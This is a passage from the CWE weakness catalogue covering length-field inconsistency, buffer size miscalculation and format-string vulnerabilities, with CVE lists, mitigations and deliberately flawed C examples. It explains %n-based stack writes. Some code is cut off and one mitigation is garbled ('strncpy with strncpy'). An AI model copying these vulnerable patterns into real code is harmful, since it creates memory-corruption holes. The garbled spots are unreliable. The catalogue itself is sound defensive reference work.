<tr>
<td>CVE-2003-0429</td>
<td>Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow.</td>
</tr>
<tr>
<td>CVE-2003-0825</td>
<td>Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues.</td>
</tr>
</tbody>
</table>
### CWE-130: Improper Handling of Length Parameter Inconsistency

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0095</td>
<td>Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value.</td>
</tr>
<tr>
<td>CVE-2004-0201</td>
<td>Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a CHM file with a large length field.</td>
</tr>
<tr>
<td>CVE-2004-0413</td>
<td>SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow.</td>
</tr>
<tr>
<td>CVE-2004-0430</td>
<td>Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.</td>
</tr>
<tr>
<td>CVE-2004-0492</td>
<td>Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow.</td>
</tr>
<tr>
<td>CVE-2004-0568</td>
<td>Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow.</td>
</tr>
<tr>
<td>CVE-2004-0774</td>
<td>Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1.</td>
</tr>
<tr>
<td>CVE-2004-0808</td>
<td>When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided.</td>
</tr>
<tr>
<td>CVE-2004-0826</td>
<td>Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message.</td>
</tr>
<tr>
<td>CVE-2004-0940</td>
<td>Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.</td>
</tr>
<tr>
<td>CVE-2004-0989</td>
<td>Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs.</td>
</tr>
<tr>
<td>CVE-2005-0064</td>
<td>PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value.</td>
</tr>
<tr>
<td>CVE-2005-3184</td>
<td>Buffer overflow by modifying a length value.</td>
</tr>
<tr>
<td>CVE-2009-2299</td>
<td>Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.</td>
</tr>
<tr>
<td>CVE-2014-0160</td>
<td>Chain: “Heartbleed” bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Implementation**

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

**Implementation**

Do not let the user control the size of the buffer.

**Implementation**

Validate that the length of the user-supplied data is consistent with the buffer size.

### Weakness Ordinalities

**Primary** *(where the weakness exists independent of other weaknesses)*

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699 226</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>240</td>
<td>Improper Handling of Inconsistent Structural Elements</td>
<td>1000 430</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
<td>1000 1234</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>
CWE-131: Incorrect Calculation of Buffer Size

Relationship Notes
This probably overlaps other categories including zero-length issues.

Causal Nature
Implicit

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Length Parameter Inconsistency</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
</table>
| 47       | Buffer Overflow via Parameter Expansion | (CAPEC Version 2.10)

CWE-131: Incorrect Calculation of Buffer Size

**Weakness ID:** 131 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**
The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C
- C++

**Common Consequences**

- Integrity
- Availability
- Confidentiality
- DoS: crash / exit / restart
- Execute unauthorized code or commands
- Read memory
- Modify memory

If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.

**Likelihood of Exploit**
High to Very High

**Detection Methods**

**Automated Static Analysis**
High

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.
CWE Version 2.11
CWE-131: Incorrect Calculation of Buffer Size

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis
Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
- Source Code Quality Analyzer
Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

C Example:

```c
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p
", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be. So if the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer overflow (CWE-193) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

The following image processing code allocates a table for images.

C Example:

```c
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

C Example:

```c
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    ```
The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:
The following code is intended to read an incoming packet from a socket and extract one or more headers.

C Example:

```c
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders=packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 5:
The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

C Example:

```c
int *id_sequence;
/* Allocate space for an array of three ids. */
id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);
/* Populate the id array. */
id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;
```
The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of ‘3’ which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].

The malloc() call could have used ‘3*sizeof(int)’ as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0248</td>
<td>expansion overflow: long pathname + glob = overflow</td>
</tr>
<tr>
<td>CVE-2001-0249</td>
<td>expansion overflow: long pathname + glob = overflow</td>
</tr>
<tr>
<td>CVE-2001-0334</td>
<td>expansion overflow: buffer overflow using wildcards</td>
</tr>
<tr>
<td>CVE-2002-0184</td>
<td>special characters in argument are not properly expanded</td>
</tr>
<tr>
<td>CVE-2002-1347</td>
<td>multiple variants</td>
</tr>
<tr>
<td>CVE-2003-0899</td>
<td>transformation overflow: buffer overflow when expanding &quot;&gt;&quot; to &quot;&gt;&quot;, etc.</td>
</tr>
<tr>
<td>CVE-2004-0434</td>
<td>small length value leads to heap overflow</td>
</tr>
<tr>
<td>CVE-2004-0747</td>
<td>substitution overflow: buffer overflow using expansion of environment variables</td>
</tr>
<tr>
<td>CVE-2004-0940</td>
<td>needs closer investigation, but probably expansion-based</td>
</tr>
<tr>
<td>CVE-2004-1363</td>
<td>substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed</td>
</tr>
<tr>
<td>CVE-2005-0490</td>
<td>needs closer investigation, but probably expansion-based</td>
</tr>
<tr>
<td>CVE-2005-2103</td>
<td>substitution overflow: buffer overflow using a large number of substitution strings</td>
</tr>
<tr>
<td>CVE-2005-3120</td>
<td>transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&amp;" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

#### Implementation

Understand the programming language’s underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.131.7]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

#### Implementation

#### Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

#### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation
When processing structured incoming data containing a size field followed by raw data, identify
and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

Implementation
When allocating memory that uses sentinels to mark the end of a data structure - such as NUL
bytes in strings - make sure you also include the sentinel in your calculation of the total amount of
memory that must be allocated.

Implementation
Moderate
Replace unbounded copy functions with analogous functions that support length arguments, such
as strncpy with strncpy. Create these if they are not available.
This approach is still susceptible to calculation errors, including issues such as off-by-one errors
(CWE-193) and incorrectly calculating buffer lengths (CWE-131).
Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion
issues are still possible.

Implementation
Use sizeof() on the appropriate data type to avoid CWE-467.

Implementation
Use the appropriate type for the desired action. For example, in C/C++, only use unsigned
types for values that could never be negative, such as height, width, or other numbers related to
quantity. This will simplify sanity checks and will reduce surprises related to unexpected casting.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides
constructs that make this weakness easier to avoid.
Use libraries or frameworks that make it easier to handle numbers without unexpected
consequences, or buffer allocation routines that automatically track buffer size.
Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).
[R.131.1]

Build and Compilation
Compilation or Build Hardening
Defense in Depth
Run or compile the software using features or extensions that automatically provide a protection
mechanism that mitigates or eliminates buffer overflows.
For example, certain compilers and extensions provide automatic buffer overflow detection
mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /
GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.
This is not necessarily a complete solution, since these mechanisms can only detect certain types
of overflows. In addition, an attack could still cause a denial of service, since the typical response
is to exit the application.

Operation
Environment Hardening
Defense in Depth
Run or compile the software using features or extensions that randomly arrange the positions of a
program's executable and libraries in memory. Because this makes the addresses unpredictable,
it can prevent an attacker from reliably jumping to exploitable code.
Examples include Address Space Layout Randomization (ASLR) [R.131.3] [R.131.5] and
Position-Independent Executables (PIE) [R.131.10].
This is not a complete solution. However, it forces the attacker to guess an unknown value that
to changes every program execution. In addition, an attack could still cause a denial of service,
since the typical response is to exit the application.
Operation

Environment Hardening

Defense in Depth
Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.131.4] [R.131.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation

Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Architecture and Design

Operation

Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.131.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design

Operation

Sandbox or Jail

Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>974</td>
<td>SFP Secondary Cluster: Incorrect Buffer Length Computation</td>
<td>888</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Other length calculation error</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM35-C</td>
<td>Allocate sufficient memory for an object</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM35-C</td>
<td>Allocate sufficient memory for an object</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>47</td>
<td>Buffer Overflow via Parameter Expansion</td>
<td></td>
</tr>
<tr>
<td>100</td>
<td>Overflow Buffers</td>
<td></td>
</tr>
</tbody>
</table>

References


Maintenance Notes

This is a broad category. Some examples include:
- simple math errors,
- incorrectly updating parallel counters,
- not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").

This level of detail is rarely available in public reports, so it is difficult to find good examples.

This weakness may be a composite or a chain. It also may contain layering or perspective differences.

This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

Weakness ID: 132 (Deprecated Weakness Base)  Status: Deprecated
Description
Summary
This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

CWE-133: String Errors

Description

Summary
Weaknesses in this category are related to the creation and modification of strings.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>V</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟠</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟠</td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
<td>282</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟠</td>
<td>251</td>
<td>Often Misused: String Management</td>
<td>446</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟠</td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
<td>940</td>
</tr>
</tbody>
</table>

Related Attack Patterns

CAPEC-ID 135 Format String Injection

CWE-134: Use of Externally-Controlled Format String

Description

Summary
The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

Extended Description
When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- C (Often)
- C++ (Often)
- Perl (Rarely)

Modes of Introduction
The programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.

In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.

Common Consequences
Confidentiality
Read memory
Format string problems allow for information disclosure which can severely simplify exploitation of the program.

Integrity
Confidentiality
Availability

Execute unauthorized code or commands
Format string problems can result in the execution of arbitrary code.

Likelihood of Exploit
Very High

Detection Methods

Automated Static Analysis
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box
Limited
Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
- Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer
Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
   Highly cost effective:
      Manual Source Code Review (not inspections)
   Cost effective for partial coverage:
      Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
   Highly cost effective:
      Source code Weakness Analyzer
      Context-configured Source Code Weakness Analyzer
   Cost effective for partial coverage:
      Warning Flags

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
   Highly cost effective:
      Formal Methods / Correct-By-Construction
   Cost effective for partial coverage:
      Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following program prints a string provided as an argument.

C Example:
```c
#include <stdio.h>
void printWrapper(char *string) {
    printf(string);
}
int main(int argc, char **argv) {
    char buf[5012];
    memcpy(buf, argv[1], 5012);
    printWrapper(argv[1]);
    return (0);
}
```
The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

Example 2:
The following code copies a command line argument into a buffer using snprintf().

C Example:
```c
int main(int argc, char **argv){
    char buf[128];
    ...
    snprintf(buf,128,argv[1]);
}
```
This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.
Example 3:
Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

C Example:
```c
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: 5 9 5 5. It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0717</td>
<td>format string in bad call to syslog function</td>
</tr>
<tr>
<td>CVE-2002-0573</td>
<td>format string in bad call to syslog function</td>
</tr>
<tr>
<td>CVE-2002-1788</td>
<td>format strings in NNTP server responses</td>
</tr>
<tr>
<td>CVE-2002-1825</td>
<td>format string in Perl program</td>
</tr>
<tr>
<td>CVE-2006-2480</td>
<td>Format string vulnerability exploited by triggering errors or warnings, as demonstrated via format string specifiers in a .bmp filename.</td>
</tr>
<tr>
<td>CVE-2007-2027</td>
<td>Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Requirements

Choose a language that is not subject to this flaw.

#### Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [R.134.1] [R.134.2]

#### Build and Compilation

Heed the warnings of compilers and linkers, since they may alert you to improper usage.

### Other Notes

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, he can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

### Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>123</td>
<td>Write-what-where Condition</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>133</td>
<td>String Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>726</td>
<td>OWASP Top Ten 2004 Category A5 - Buffer Overflows</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
<td>900</td>
